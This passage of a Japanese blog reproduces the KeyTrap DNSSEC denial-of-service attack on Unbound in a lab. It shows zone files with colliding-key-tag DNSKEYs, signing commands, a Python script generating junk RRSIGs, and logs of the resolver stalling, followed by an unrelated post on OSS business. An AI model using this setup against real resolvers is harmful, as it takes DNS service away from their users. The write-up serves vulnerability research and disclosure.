a.test. IN DNSKEY 256 3 14 qz2ys56wu+rPHXp62eskqFa/lYw4xl7oDT5X/wcj7fFapLq8zsOT3kM5E7IlKwa42cIqCcNcb6hG8C8YKWUOgUTOiXPXj7k4SO4K3/+CfFp+7J6ai8shKSFAMvhf2ajl
a.test. IN DNSKEY 256 3 14 NJAIrXpcToloZ5CnSwyPf/Y8qyL3aFlqFr8Xcw/m19dBcyoJQIak5ygffLTHGrQhZNGM8TrL07v41sL1ZYuYjGBg7RBdMaeQr+JOUA4d5e/r83fkT7uHNOcHzOAhI7Nu
a.test. IN DNSKEY 256 3 14 UiTl5T9RdFXTul4Nw3rQ9/zlGCODylgcI9mrz5SqpEkxw9+l+E00/JGxAj6If8yjE7Etexs/KTCX7csAYQTLq864iYB+5sPigcMHAzluyPU9fOUmALQbRtw3ZXPHBb7L
a.test. IN DNSKEY 256 3 14 MjY4X0GT9jf00V9bZU7cMkceFGdUMgbeNK4afF6BB/VznyKXsZlTeX5IgrD/8BNWd1jMvvL5RlbBXbmy5022d34VqReK5IRA6WKxp9uzDBEpc6qoh2npdudDTsFMZKor
a.test. IN DNSKEY 256 3 14 8y5y+PlI/MQAMADANSuw0UXq7WUGpGr+U+Y4sl+dAu78T+rZ1NUE1TVg5fZU7j7bO+Ie7Mk6DcquNT0zYX986pGJgXpx6jTDh3dztnt9Sc9SBcUdBw0v/u1y72EfLQ2P

10-20分ぐらいあれば簡単に作れるプログラムなので隠す意味がない気もしますが、攻撃に加担したいわけではないので一旦鍵生成のプログラムは載せずにおきます。

KSKの作成

上では簡単のために鍵と呼んでいましたが実際には各レコードセットを署名するためのゾーン署名鍵(ZSK)です。ZSKもDNSKEYレコードとして返されますが、これを信頼できるのかわからないのでZSKにも署名(RRSIG)が付与されます。信頼の連鎖を構築するため、DNSKEYレコード(セット)は鍵署名鍵(KSK)によって署名されます。これにより、DNSKEYレコードに含まれるすべてのZSKが信頼されます。

$ dnssec-keygen -a ECDSAP384SHA384 -b 4096 -n ZONE -f KSK a.test

dnssec-keygen でKSKの公開鍵と秘密鍵のファイルが作成されるのでそれを適当に ksk.keyksk.private にrenameしておきます。

ゾーンファイルの作成

まずは普通に a.test. のゾーンファイルを作成します。あとの検証で使いたいので適当なAレコードをいくつか足します。今回は www のAレコードに大量のRRSIGレコードを追加します。 www 以外は通常のリソースレコードです。

$ cat a.test.zone
$TTL    86400
@       IN      SOA     ns1.a.test. admin.a.test. (
                              2023102401 ; Serial
                              3600       ; Refresh
                              1800       ; Retry
                              604800     ; Expire
                              86400 )    ; Negative Cache TTL
;
@       IN      NS      ns1.a.test.
ns1     IN      A       10.10.0.4
www     IN      A       10.10.0.4
a       IN      A       10.10.0.4
b       IN      A       10.10.0.4
c       IN      A       10.10.0.4

そして上のKSKのksk.keyの中身がDNSKEYのフォーマットになっているのでゾーンファイルに追記します。

$ cat ksk.key
; This is a zone-signing key, keyid 6350, for a.test.
; Created: 20240217094927 (Sat Feb 17 09:49:27 2024)
; Publish: 20240217094927 (Sat Feb 17 09:49:27 2024)
; Activate: 20240217094927 (Sat Feb 17 09:49:27 2024)
a.test. IN DNSKEY 256 3 14 DcYreAh+USsK1mtv7bSR2iaQvShPUqCy7l/BRQXttAFupXp6pUaQZS+k ii+H2JJqd+rS4YgC3KCd/by8yQi5j+WSy2yRprSuFuDyqZMFnDT/Py+n GjmIa59$+W1iMdEYb

$ cat ksk.key >> a.test.zone

そして上で作った鍵タグの衝突した大量のZSKも追記します。

$ cat found_keys.txt >> a.test.zone

これらのZSKは署名には使わずランダムに生成したRRSIGレコードを返すので(後述)、このいずれのZSKでも署名検証が成功しません。DNSKEYレコードとして返ってきますが何の検証にも使えないダミーです。リゾルバーは検証が成功するまで鍵を試していきますが、1つも成功しないので結局これらすべてのZSKを試すことになります。

ゾーンファイルの署名

上述したようにZSKを含むDNSKEYレコードに対してKSKで署名(RRSIGレコード)を作成する必要があります。 これは dnssec-signzone コマンドで行えます。 a.test.zone ファイルを渡すと署名を付与して a.test.zone.signed ファイルを出力してくれます。 dnssec-signzone コマンドにゾーン名やKSKのファイルパスを渡して実行します。

$ dnssec-signzone -K . -N INCREMENT -o a.test -t a.test.zone ksk.key
Verifying the zone using the following algorithms:
- ECDSAP384SHA384
Missing ZSK for algorithm ECDSAP384SHA384
No correct ECDSAP384SHA384 signature for a.test NSEC3PARAM
No correct ECDSAP384SHA384 signature for a.test SOA
No correct ECDSAP384SHA384 signature for a.test NS
No correct ECDSAP384SHA384 signature for a.a.test A
No correct ECDSAP384SHA384 signature for b.a.test A
No correct ECDSAP384SHA384 signature for c.a.test A
No correct ECDSAP384SHA384 signature for d.a.test A
No correct ECDSAP384SHA384 signature for e.a.test A
No correct ECDSAP384SHA384 signature for ns1.a.test A
No correct ECDSAP384SHA384 signature for www.a.test A
No correct ECDSAP384SHA384 signature for 11O1NM552SHNJ6CP6A4LU2LR56P0GKP5.a.test NSEC3
No correct ECDSAP384SHA384 signature for 3IN16J1JT24R0R89VJKBB2N24PKVD7QL.a.test NSEC3
No correct ECDSAP384SHA384 signature for 6VA1LJ7EB0IMT58T1ULE4FTKLHOA6UJ9.a.test NSEC3
No correct ECDSAP384SHA384 signature for C5US2U7DNIN7LATGR8EV0KM6A1718G60.a.test NSEC3
No correct ECDSAP384SHA384 signature for E94ICI9GSPD9ALI175OIVR9K9JV57ELI.a.test NSEC3
No correct ECDSAP384SHA384 signature for T7DV3EGS2KB198VGQPMGGOV3LJM5HG9J.a.test NSEC3
No correct ECDSAP384SHA384 signature for U3KVP6DSV2MOHGALKQQT5K199FCHKB0E.a.test NSEC3
No correct ECDSAP384SHA384 signature for UL17RQK0O1NOII8C7UBN5ED7DPDCG635.a.test NSEC3
The zone is not fully signed for the following algorithms:
 ECDSAP384SHA384
.
DNSSEC completeness test failed.
Zone verification failed (failure)
Signatures generated:                       20
Signatures retained:                         0
Signatures dropped:                          0
Signatures successfully verified:            0
Signatures unsuccessfully verified:          0
Signing time in seconds:                 0.040
Signatures per second:                 500.000
Runtime in seconds:                      4.330

エラーになりました。どうやらAレコードなどに署名ができないと言っています。確かに dnssec-signzone コマンドにKSKしか渡していないので、DNSKEYレコードに対する署名は出来るがゾーンに対する署名ができません。こちらでランダムなRRSIGレコードを作るのでゾーンの署名は不要なのですが(SOAの署名で必要かも?)、 dnssec-signzone を成功させるためにZSKを作っておきます。上のプログラムで作成した鍵タグが衝突するZSKから一つゾーン署名用に使ってもよいのですが、 dnssec-keygen で作ったほうが dnssec-signzone に渡しやすいので新たにZSKを生成します。

$ dnssec-keygen -a ECDSAP384SHA384 -b 2048 -n ZONE a.test

これを適当に zsk.keyzsk.private などにrenameしておきます。先ほどと同様、DNSKEYレコードのフォーマットになっています。

$ cat zsk.key
; This is a zone-signing key, keyid 6350, for a.test.
; Created: 20240217094927 (Sat Feb 17 09:49:27 2024)
; Publish: 20240217094927 (Sat Feb 17 09:49:27 2024)
; Activate: 20240217094927 (Sat Feb 17 09:49:27 2024)
a.test. IN DNSKEY 256 3 14 DcYreAh+USsK1mtv7bSR2iaQvShPUqCy7l/BRQXttAFupXp6pUaQZS+k ii+H2JJqd+rS4YgC3KCd/by8yQi5j+WSy2yRprSuFuDyqZMFnDT/Py+n GjmIa59+W1iMdEYb

これをa.test.zoneに書き込みます。

$ cat zsk.key >> a.test.zone

そして zsk.key のパスも指定して dnssec-signzone を再度実行します。

root@e0f61a428aad:/auth# dnssec-signzone -K . -N INCREMENT -o a.test -t a.test.zone ksk.key zsk.key
Verifying the zone using the following algorithms:
- ECDSAP384SHA384
Zone fully signed:
Algorithm: ECDSAP384SHA384: KSKs: 1 active, 0 stand-by, 0 revoked
                            ZSKs: 1 active, 229 stand-by, 0 revoked
a.test.zone.signed
Signatures generated:                       16
Signatures retained:                         0
Signatures dropped:                          0
Signatures successfully verified:            0
Signatures unsuccessfully verified:          0
Signing time in seconds:                 0.020
Signatures per second:                 800.000
Runtime in seconds:                      0.660

無事に署名されました。

$ cat a.test.zone.signed
; File written on Sun Feb 18 10:14:35 2024
; dnssec_signzone version 9.18.24-1-Debian
a.test.                 86400   IN SOA  ns1.a.test. admin.a.test. (
                                        2023102402 ; serial
                                        3600       ; refresh (1 hour)
                                        1800       ; retry (30 minutes)
                                        604800     ; expire (1 week)
                                        86400      ; minimum (1 day)
                                        )
                        ...

                        86400   DNSKEY  256 3 14 (
                                        AJTptT8lmZiuZ+qd01/OiH2LHUk1VzL3RSNx
                                        ENG91nn0D1/vzl95ov6R4QPR3+Eu0he2G+bs
                                        8m2N+05YzCRMRBOa0IqDHCD4yz7+2+0rZUNA
                                        qs5ISE5bF+BoZLMXgXyQ
                                        ) ; ZSK; alg = ECDSAP384SHA384 ; key id = 6350
                        86400   DNSKEY  256 3 14 (
                                        ASjorexlnfI2Ltb6bL2wWJ3X31rvPHFIyfpR
                                        AaMGaSyZWSIiZRNFF0n/7eJ+s+b17Jxiq6Rp
                                        MSrj2CJu1rrfrYSHxQK09NnlzjQoFM0qoEJa
                                        Cd0e/ZoqTiE9mgE7BPs9
                                        ) ; ZSK; alg = ECDSAP384SHA384 ; key id = 6350
                        86400   DNSKEY  256 3 14 (
                                        ZjfGUThRErubs8A1XoZgDvD0swkaMDS5TqnI
                                        26xEAu9jxVdBKMf/8maFsYOrlIBGbKIwSSby
                                        Qpgc9wnX8zt4AHoSw4v7jf5xlh6Hluzy0GC2
                                        1FQGw37h1PjMDzxWeeeN
                                        ) ; ZSK; alg = ECDSAP384SHA384 ; key id = 6350

key id = 6350 なDNSSECレコードが大量に並んでいます。このようなことは自然にはまず起こらないので異常事態です。緩和策では実際にこのように衝突する鍵の数を制限していたりします。

これらは先程 a.test.zone に追記した鍵タグが衝突しているZSKたちですが、 dnssec-signzone により整形されてコメントが付けられています。

86400   RRSIG   DNSKEY 14 2 86400 (
                20240319155508 20240218155508 45000 a.test.
                YRXojMErbxlM0z7SM76xW8d+RMzf6lcjljpd
                KLCnVNahxW0vdESZSvzzCB+d8BcAfKeP0hPd
                lLLwWciF70oCpYsLNo8dlVSUGUylkFiedAvi
                2NN2dgarOrTs+A1bNAeC )
86400   RRSIG   DNSKEY 14 2 86400 (
                20240319155508 20240218155508 30130 a.test.
                l4KWj/DSKeT8LKr1i+2fLHXkoaqdyI6aTNUo
                0AGKakiOrLLzDisbw5bZtRzjCCqdsCsA9QuO
                wZ640P2k6xywKWMY1P+FDXtn/uuq3agzoNhi
                rJtTE1fKJd8Vb1YxUXuQ )

RRSIGに関してもDNSKEYレコードセットをKSKで署名したものが...と言おうとしたのですがなぜか2つあります。鍵タグ=30130がKSKなので自分の理解では下だけでよいはずなのですが、鍵タグ45000の先ほど dnssec-keygen で生成したZSKでも署名されています。バグを疑ったのですが、以下のオプションを見つけたのでどうやら意図的なようです。

-x:     sign DNSKEY record with KSKs only, not ZSKs

実際、鍵タグ=45000のRRSIGを削除しても署名検証には成功するので、ZSKでDNSKEYレコードを署名している理由はよくわかっていません。可用性の関係でZSKで署名されている場合にも対応できるようにしているのかもしれませんが、いまいちしっくり来てないです。やはり試してみると教科書には載っていないことがたくさんあります。誰か詳しい方教えてください。

一旦ZSKで署名したRRSIGのことは忘れてKSKによる署名だけを考えます。KSKの秘密鍵で署名しているので公開鍵で署名を検証すればこのDNSKEYレコードセットは改ざんされていないことが証明できるわけですが、そもそもこのKSKは信頼できるの?という話があります。ここで信頼の連鎖の話になりますが、本来は親ゾーンにDSリソースレコードを登録します。このDSリソースレコードはKSKの公開鍵のハッシュ値が格納されており、それをさらに親ゾーンの秘密鍵で署名することで信頼を繋いでいき、最終的には信頼の起点、トラストアンカーとなるルートゾーンの公開鍵あるいはそのハッシュ値をリゾルバーに事前インストールすることで、検証可能にします。SSL/TLS証明書とほぼ同じ仕組みと思って良いです。

実際に攻撃する場合はちゃんと親ゾーンにDSレコードを登録する必要がありますが、今回は検証なので先ほど生成したKSKをUnboundのトラストアンカーに設定してしまいます。以下のようにKSKのDNSKEYリソースレコードを含んだトラストアンカー用のファイルを作ります。

$ cat a.test.key
; autotrust trust anchor file
;;id: a.test. 1
;;last_queried: 1708093496 ;;Fri Feb 16 14:24:56 2024
;;last_success: 1708093496 ;;Fri Feb 16 14:24:56 2024
;;next_probe_time: 1708135970 ;;Sat Feb 17 02:12:50 2024
;;query_failed: 0
;;query_interval: 43200
;;retry_time: 8640
a.test. 86400   IN      DNSKEY 257 3 14 MzJsFTtAo0j8qGpDIhEMnK4ImTyYwMwDPU5gt/FaXd6TOw6AvZDAj2hl hZvaxMXV6xCw1MU5iPv5ZQrb3NDLUU+TW07imJ5GD9YKi0Qiiypo+zht L4aGaOG+870yHwuY

これをUnboundが読み込むように、 unbound.conftrust-anchor-file を追記します。

# DNSSEC settings
trust-anchor-file: "/usr/local/etc/unbound/a.test.key"

これでUnboundはa.testゾーンのKSKを信頼するようになります。

署名を生成する

dnssec-signzone により生成された a.test.zone.signed ファイルではAレコードに署名が行われています。

www.a.test.             86400   IN A    10.10.0.4
                        86400   RRSIG   A 14 3 86400 (
                                        20240319155508 20240218155508 6350 a.test.
                                        4h+KDqE8piyNhfEWeAEVYw0nw4NaAv9zkZK7
                                        +c7tgV54HHGJYsyMPYdJwgF+Fo02Ky4aSbaN
                                        uqsI/jJg/2hHmOS0MvAMRHyeMVsNHx2aoTvw
                                        dbkzxlWJKGXfUCQGSp3y )

このRRSIGレコードを返してしまうと署名検証に成功してしまうので、これは削除しておきます。成功してしまうとその時点で検証が終わってしまい最大限の負荷をかけられないためです。

そして次にランダムに署名を生成します。署名検証が失敗さえすればいいので本当に単にランダムなバイト列を使えばよいです。署名部分以外は予め定められている値を入れればよいので以下のようにRRSIGレコードは生成できます。

$ cat rrsig.py
import time
from datetime import datetime, timezone
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.backends import default_backend
import base64
import os

def create_dummy_signature():
    # Generate a dummy digital signature
    dummy_signature = os.urandom(96)  # Match the signature size for ECDSAP384SHA384
    return base64.b64encode(dummy_signature).decode('utf-8')

def create_dummy_rrsig(signer_name, type_covered, algorithm, labels, original_ttl,
                       expiration, inception, key_tag):
    dummy_signature = create_dummy_signature()  # Generate a dummy digital signature

    # Format the signature start and end times
    inception_date = datetime.fromtimestamp(inception, timezone.utc).strftime('%Y%m%d%H%M%S')
    expiration_date = datetime.fromtimestamp(expiration, timezone.utc).strftime('%Y%m%d%H%M%S')

    # Create the RRSIG record
    rrsig_record = f"{type_covered} {algorithm} {labels} {original_ttl} {expiration_date} " \
                   f"{inception_date} {key_tag} {signer_name} {dummy_signature}"

    return rrsig_record

# Parameters for creating a dummy RRSIG record
signer_name = "a.test."  # Signer's name
type_covered = "A"  # Record type being covered
algorithm = 14  # ECDSAP384SHA384 algorithm
labels = 3  # Number of labels in the signed domain name
original_ttl = 86400  # Original TTL of the signed record
current_time = int(time.time())
expiration = current_time + 7 * 24 * 3600  # Expiration time (one week from now)
inception = current_time - 24 * 3600  # Start time (one day ago)
key_tag = 6350  # Key tag

# Generate the dummy RRSIG records
for i in range(100):
    dummy_rrsig = create_dummy_rrsig(signer_name, type_covered, algorithm, labels,
                                     original_ttl, expiration, inception, key_tag)
    print(f"\t\t\t86400\tRRSIG\t{dummy_rrsig}")

今回の例では100個のRRSIGレコードを生成してします。これらを先程削除した検証の通るRRSIGの代わりにAレコードの下に以下のように追記します。

www.a.test.             86400   IN A    10.10.0.4
                        86400   RRSIG   A 14 3 86400 20240225170322 20240217170322 6350 a.test. dkHeVIaiLQk5OVmn+LivRfSsd0TQcppzjKn9uFn1W0LzBRXBxuZBd4Lrou+eigkJH6nwJSj9NQJwkLtRJRcoKSaEDcTry0q58I23P4/rpuegho/YNeMyzFQ2rjjGwd/1
                        86400   RRSIG   A 14 3 86400 20240225170322 20240217170322 6350 a.test. Wku/hZ+/OSUoovZfXARQ8nZDsoUkmdTMv+WN9BcrmIbXlka3EdAjCBcYgHFV9rI5a4hTvWaYUo6HMohsN6HSEh4OsXyToUpmLeJUDaJ3tZ/JtVgimD88j2eEBb8IIPOZ
                        86400   RRSIG   A 14 3 86400 20240225170322 20240217170322 6350 a.test. wYN/ggDmhMp5n0R/jvn4EBv6Uq1VuLF4FTXUd8fzeiJS0mgbMNLX/QtlmpZVUueAcJ1FplbwDPX3JyMhDiYMdM+x9rlHeqOvpssVXeHDMXxWDvkAR+/QYhrcRecdQ8f7
...

これで準備完了です。

攻撃の再現

まずはDocker Composeを立ち上げます。

$ docker compose up --build
...
resolver-1  | [1708276073] unbound[1:0] debug: creating udp4 socket 0.0.0.0 53
resolver-1  | [1708276073] unbound[1:0] debug: creating tcp4 socket 0.0.0.0 53
resolver-1  | [1708276073] unbound[1:0] debug: chdir to /usr/local/etc/unbound
resolver-1  | [1708276073] unbound[1:0] debug: chroot to /usr/local/etc/unbound
resolver-1  | [1708276073] unbound[1:0] debug: drop user privileges, run as unbound
resolver-1  | [1708276073] unbound[1:0] debug: switching log to stderr
resolver-1  | [1708276073] unbound[1:0] debug: module config: "validator iterator"
resolver-1  | [1708276073] unbound[1:0] notice: init module 0: validator
resolver-1  | [1708276073] unbound[1:0] info: adding trusted key a.test. DNSKEY IN
resolver-1  | [1708276073] unbound[1:0] debug: validator nsec3cfg keysz 1024 mxiter 150
resolver-1  | [1708276073] unbound[1:0] debug: validator nsec3cfg keysz 2048 mxiter 150
resolver-1  | [1708276073] unbound[1:0] debug: validator nsec3cfg keysz 4096 mxiter 150
resolver-1  | [1708276073] unbound[1:0] notice: init module 1: iterator
resolver-1  | [1708276073] unbound[1:0] debug: target fetch policy for level 0 is 3
resolver-1  | [1708276073] unbound[1:0] debug: target fetch policy for level 1 is 2
resolver-1  | [1708276073] unbound[1:0] debug: target fetch policy for level 2 is 1
resolver-1  | [1708276073] unbound[1:0] debug: target fetch policy for level 3 is 0
resolver-1  | [1708276073] unbound[1:0] debug: target fetch policy for level 4 is 0
resolver-1  | [1708276073] unbound[1:0] debug: donotq: 127.0.0.0/8
resolver-1  | [1708276073] unbound[1:0] debug: total of 59446 outgoing ports available
resolver-1  | [1708276073] unbound[1:0] debug: start threads
resolver-1  | [1708276073] unbound[1:0] debug: mini-event internal uses select method.
resolver-1  | [1708276073] unbound[1:0] info: DelegationPoint<a.test.>: 0 names (0 missing), 1 addrs (0 result, 1 avail) parentNS
resolver-1  | [1708276073] unbound[1:0] debug:    ip4 10.10.0.4 port 53 (len 16)
resolver-1  | [1708276073] unbound[1:0] debug: no config, using builtin root hints.
resolver-1  | [1708276073] unbound[1:0] debug: cache memory msg=66104 rrset=66104 infra=7904 val=66400
resolver-1  | [1708276073] unbound[1:0] info: start of service (unbound 1.19.0).
auth-1      | 18-Feb-2024 17:07:53.450 managed-keys-zone: Initializing automatic trust anchor management for zone '.'; DNSKEY ID 20326 is now trusted, waiving the normal 30-day waiting period.
auth-1      | 18-Feb-2024 17:07:53.450 resolver priming query complete

authもresolverも良い感じに立ち上がりました。この状態で attacker コンテナーから resolver コンテナーに対して正常な応答を返してくる a.a.test のAレコードを引きます。

$ docker compose exec -it attacker dig +noall +ans @10.10.0.3 a.a.test
; <<>> DiG 9.18.24 <<>> @10.10.0.3 a.a.test
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4946
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;a.a.test.                      IN      A

;; ANSWER SECTION:
a.a.test.               86318   IN      A       10.10.0.4

;; Query time: 0 msec
;; SERVER: 10.10.0.3#53(10.10.0.3) (UDP)
;; WHEN: Sun Feb 18 17:29:55 UTC 2024
;; MSG SIZE  rcvd: 53

正常に返ってきます。また、adフラグが経っていることからDNSSECの検証が成功していることが分かります。この時点でもDNSKEYリソースレコードは大量に返されていますが、このAレコードに対するRRSIGリソースレコードは一つである点と、そのRRSIGリソースレコードは正常に作られた署名であるという点から、そこまで時間がかからずに返ってきます。

では次に大量のRRSIGリソースレコードを返してくる www.a.test のAレコードを引くDNSクエリを一つだけ投げます。

$ docker compose exec -it attacker dig @10.10.0.3 www.a.test
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out

; <<>> DiG 9.18.24 <<>> @10.10.0.3 www.a.test
; (1 server found)
;; global options: +cmd
;; no servers could be reached

タイムアウトになり応答が返ってきません。全ての鍵と署名の組み合わせを試しているため非常に時間がかかっています。 ではその間に先程は正常に名前解決できた、 a.a.test のAレコードを再度引いてみます。

$ docker compose exec -it attacker dig @10.10.0.3 a.a.test
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out

; <<>> DiG 9.18.24 <<>> @10.10.0.3 a.a.test
; (1 server found)
;; global options: +cmd
;; no servers could be reached

先ほどとは異なり応答しません。キャッシュにあるデータを返すだけなのですが、DNSSECの検証で忙しいようです。ただキャッシュにある場合は何度か試したらたまーに返ってきました。キャッシュされていない場合( b.a.test など)はより処理が重くなるためか、応答が返ってきませんでした。

今回は鍵100×署名100=10000程度にしたので上限の鍵589×署名519=305691に比べると大分少ない値で試していますが、それでも十分DoSを引き起こせました。上で説明したようにUnboundは5回リトライ処理が入るので少ない数でも十分効果的な攻撃が可能です。

対策の入ったv1.19.1でも試したところ検証の数が多すぎるとしてエラーになりました。

resolver_1  | [1708278098] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708278098] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708278098] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708278098] unbound[1:0] debug: verify sig: too many RRSIG validations
resolver_1  | [1708278098] unbound[1:0] debug: rrset failed to verify, too many RRSIG validations

対策の内容としては以下で説明されていますが、やはり根本的な解決は難しく試行回数に制限を入れた緩和策となっています。

www.nlnetlabs.nl

これでリゾルバーとして動いているUnboundを容易に応答不能に出来ることが分かりました。1クエリで応答不能に追い込めるので怖いですね。もちろんマルチスレッドの場合は複数クエリを必要としますが、それでもあまりにも簡単にDNSサービスを落とせますし過去最悪の攻撃と評されるだけのことはあります。

検証用リポジトリ

今回の検証に使ったファイル一覧は以下のリポジトリにあります。

github.com

ただし、容易に攻撃に悪用されないように以下の2点だけ変更を加えています。

  • 鍵と署名の数はそれぞれ10ずつにしている
  • 鍵タグが衝突する鍵を探すためのスクリプトを含まない

ただそもそも実際に悪用するためにはドメイン名を買って親ゾーンにDSレコードを登録するなど、ある程度の知識や準備が必要なのでスクリプトキディには難しいです。 逆にそれらが出来るぐらい知識がある人は衝突する鍵は簡単に生成出来るので、DNSKEY/RRSIGのレコード数を増やすのは簡単です。

覚えている限り最後にDNSSECの設定をしたのは10年前ぐらいの自分でも数時間で何とかなるレベルなので、多少の知識があれば攻撃可能という前提で動くほうが良いと思います。テクニカルレポートでも詳細な攻撃手順は書かないように配慮していましたが、とてもシンプルな脆弱性なのであまり意味がないかもしれません。それでも何もしないよりは、ということで上の変更を加えています。

余談

ネットワーク図をChatGPTに投げたらdocker-compose.ymlを生成してくれましたし、それ以外のDockerfileもほぼ全て作ってくれましたし、検証用のPythonコードも80%以上書いてくれましたし、この辺のただ無駄に時間が掛かる系のタスクを全部やってもらえるので脆弱性検証もAIのおかげで本当に楽になりました。ただブログを書いてもらう試みはあまりうまく行きませんでした。Webライターよりも先にプログラマーが失業するんだろうか。

今回の脆弱性はCPUに過剰な負荷を誘発する脆弱性でしたが、個人的にはBINDでたまに出るプロセスを一撃で殺せる脆弱性のほうが好きですしリソース枯渇攻撃よりも脅威だと思っています。ただ今回は実装依存ではなく仕様の問題ということで影響範囲が広く、かつ攻撃も容易ということで最悪と評されたのだと思います。ただリゾルバーのみ影響を受けるので、対応が必要となるのはリゾルバーを運営している組織のみということで、権威サーバーの脆弱性に比べると影響範囲はそこまで広くないかもしれません。

この脆弱性のレポートが出たのは金曜日だったのですが、週末は平日より忙しいので大変でした。家族と遊びに行って家に帰ってきて風呂入って落ち着くと0時を過ぎてる、みたいな状況ですし、そもそも日中で体力を使い果たしているので眠気もですが頭が全く働きません。今回はさすがに限界だったので"翼をさずけ"てもらいました。30代になってから深夜に翼をさずかると命の前借り感がより一層強いです。ケンガンオメガ面白い。でも命の前借り以外に時間を取る方法が思いつかないです。みんなどうやって時間を捻出してるのでしょうか。体力おばけしかいないのではないだろうか。

BINDの7つの脆弱性が公表されたあとに権威サーバに影響するやつを優先しようということでCVE-2023-4408を見ていたのですが、このとき既に睡眠を削り命の前借りを行っていました。せっかくPoCを書いたものの、まだどこにも出回っていない中で公開するのもはばかられるなと思っていたらKeyTrapの詳細が公開されました。正直「もうやめて!とっくに羽蛾のライフは0よ!」状態でしたが力を振り絞り再び見てみたところ、こっちは内容もシンプルで攻撃コードも何もないなという感じだったので、急いでペーパーを読み検証を行って先にこっちを公開することにしました。

お金をもらえるわけでもなく時間的にも体力的にも持続可能な活動ではないので何とかしたい。

まとめ

あまりに長い(4万文字を超えている)上にDNS関連は全然読まれないのでここには誰も到達しません。

OSSをベースにしたサービス提供の難しさ

背景

弊社(Aqua Security)ではOSS開発をしており、そのOSSを組み込んだ有償サービスを売ることで利益を上げています。 自分はその中のOSS開発をフルタイムで担当しています。 会社は何を目的としてOSS開発をしているのか、というのは以前発表しました。

speakerdeck.com

フルタイムOSS開発者をやってみての感想なども昔書いています。

knqyf263.hatenablog.com

今回はOSSをベースにしたサービス提供の難しさについて最近感じていることをまとめておきたいと思います。 こういうビジネスをしているのは弊社だけではないので同じような話はきっと既にどこかで語られていると思うのですが、愚者は経験に学ぶということで実際に自分で体験してみての感想です。 巨大企業がサイドプロジェクトとしてOSSを開発しているとか、企業内で使うツールチェーンの改善をしているという話とは違い、OSSでより直接的にビジネスをやる場合の話です。

最近会社では連日この辺りの議論しており自分でも観点を手元でまとめていたのですが、ちょうどOSSビジネスについてのブログが公開されていたので自分も公開しておきます。

note.com

弊社のビジネスモデルは上記ブログで挙げられている以下に該当します。クラウド以外でも提供しているのでOSSを組み込んだサービスという感じです。

では、大きな利益を得るためにはどうすればよいのだろうか?

一部の企業は、製品をオープンソースとして提供しつつ、それをクラウドでサービスとして提供することで売り上げを上げている。オープンソースで>直接稼ぐのではなく、オープンソースを使って稼いでいるわけだ。

難しさ

まずどういった点に難しさを感じているかをざっくばらんに書いておきます。 タイトルにもある通り基本的には難しさを書いているだけで、特に解を持ち合わせているわけではないことを初めに断っておきます。

利益相反になりがち

OSS開発を頑張りすぎると、有償版を使う理由がなくなっていきます。 つまり上のブログでもサポート契約のところで述べられていますが、ソフトウェアの品質を上げすぎると利益が減ることになります。 自分は Trivy というOSSを開発しているのですがお客さんから「Trivyで十分」と言われてしまうことが既に何度も起きてしまっています。 もちろん有償版にしかない機能も多数あるのですが、お客さんがお金を払ってでも使いたい機能というのが有償版に存在しない限りOSSから移行してもらうのは難しいです。 弊社のサービスはOSSと全く関係ない機能も多数提供しているため会社のビジネスとしては問題ないのですが、あくまでOSSをきっかけに有償版に繋げるのが難しいという話をしています。

またTrivyの場合は特殊な事情を含んでおり、元々 個人で開発 していたものが企業に買収されたため、買収時に既にある程度のクオリティに達してしまっていたという点と、元々OSSで世界をセキュアにすることを目標に始めたため無邪気にOSSを便利にしすぎたという点があります。 会社が利益を上げられなければOSS開発も続けられないため、ここは正直自分のミスだったなと反省しています。

と書いていて自分でもOSSフルタイム開発者がレイオフの対象になってしまうのは経営の観点で見ると仕方ないような気がしています。

全力で楽しいことをやらせてもらっているので、ある程度のリスクを取ることになるのは仕方ないと割り切っています。

追記:Red Hatではそんなことないよ、と教えていただいたのでどうやってそういう文化を獲得したのか興味がありますね。

競合OSSの存在

じゃあ機能を足さなければ良いのかというとそう単純な話ではないです。 上の発表スライドにも書いたようにOSSを通じて会社の知名度や信頼性を向上させる必要があります。 ということは単にOSSをやっているだけでは意味がなくて、ある程度使われるものを作る必要があります。 機能がスカスカなOSSを作っても誰にも使ってもらえないですし、競合のOSSが存在する場合はユーザがそちらに流れてしまいます。 つまり競合に対して優位性を保てる程度の機能追加をしつつ、有償版の利益を損なわないギリギリのラインを見極める必要があります。

以前 世界一になった という話を無邪気に書いたわけですが、もっときちんとそのラインについて考えるべきでした。

2年前のグラフがこれで

現在がこれです。

明らかにやり過ぎで、とにかく良いものを作りたいと思考停止になっていました。 これでも会社の指示には従っていたのですが、もっと自発的に色々と案を出すべきでした。 インフルエンサーとかを見ていて人さえ集めてしまえばなんとでもなるだろう(実際にはインフルエンサーもそんなことないのだろうと思います)みたいな安易な考えをしていたのも良くなかったです。

コミュニティからのPull Request

企業がOSSを公開する利点の一つとしてコミュニティの協力があります。 自社でリソースを割かなくてもコミュニティの有志により新機能が開発されていくことが多々あります。 これは会社にとって有益な一方で、上に述べたようにOSSに追加したくない機能もあり、そういう機能追加のPull Requestが来ることもあります。

もちろん会社主導のOSSなので断れば良いわけですが、そこの理由説明が難しい場合があります。 「この機能は受け入れたのにこの機能は何で受け入れないんだ?!」と一貫性のなさを指摘されてウッとなったことが何度もあります。

競合サービスによる利用

OSSなので他社が組み込んで有償サービスを提供しても問題ないわけですが、そっちの方が売れたりするとさすがにモヤッとします。 弊社はイスラエルの企業でイスラエルには多数のサイバーセキュリティスタートアップが存在します。 そしてその企業の多くでTrivyが使われています。 これはドキュメントなどで明言している場合もあれば、ローカルコミュニティの口コミで知っている場合もあるのですが、とにかく多くの企業に利用されています。 その中には弊社の時価総額を上回っているスタートアップもあり、社内で問題となっています。

